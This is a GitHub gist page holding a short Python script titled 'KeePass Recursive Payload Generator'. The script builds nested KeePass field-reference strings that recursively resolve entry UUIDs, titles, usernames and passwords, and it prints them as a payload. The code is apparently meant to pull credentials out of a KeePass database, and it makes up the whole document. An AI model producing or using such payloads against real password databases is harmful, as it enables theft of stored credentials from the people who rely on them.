Skip to content

Instantly share code, notes, and snippets.

@d3lb3
Created June 8, 2023 16:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save d3lb3/fb6f5d82e47744f56117b350d94a6029 to your computer and use it in GitHub Desktop.
Save d3lb3/fb6f5d82e47744f56117b350d94a6029 to your computer and use it in GitHub Desktop.
KeePass Recursive Payload Generator
iteration = 5
search_base_UUID = '{REF:I@I:0'
search_base_TITLE = '{REF:T@I:0'
search_base_USERNAME = '{REF:U@I:0'
search_base_PASSWORD = '{REF:P@I:0'
search_base_URL = '{REF:A@I:0'
searches_UUID = []
searches_TITLE = []
searches_USERNAME = []
searches_PASSWORD = []
searches_URL = []
for i in range(0,iteration):
search_UUID = search_base_UUID
search_TITLE = search_base_TITLE
search_USERNAME = search_base_USERNAME
search_PASSWORD = search_base_PASSWORD
search_URL = search_base_URL
for previous_search_UUID in searches_UUID:
search_UUID += ' -' + previous_search_UUID
search_TITLE += ' -' + previous_search_UUID
search_USERNAME += ' -' + previous_search_UUID
search_PASSWORD += ' -' + previous_search_UUID
search_URL += ' -' + previous_search_UUID
search_UUID += '}'
search_TITLE += '}'
search_USERNAME += '}'
search_PASSWORD += '}'
search_URL += '}'
searches_UUID.append(search_UUID)
searches_TITLE.append(search_TITLE)
searches_USERNAME.append(search_USERNAME)
searches_PASSWORD.append(search_PASSWORD)
searches_URL.append(search_URL)
for i in range(0,iteration):
print('{}:{}:{}:{}`n'.format(searches_UUID[i], searches_TITLE[i], searches_USERNAME[i], searches_PASSWORD[i]), end='')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment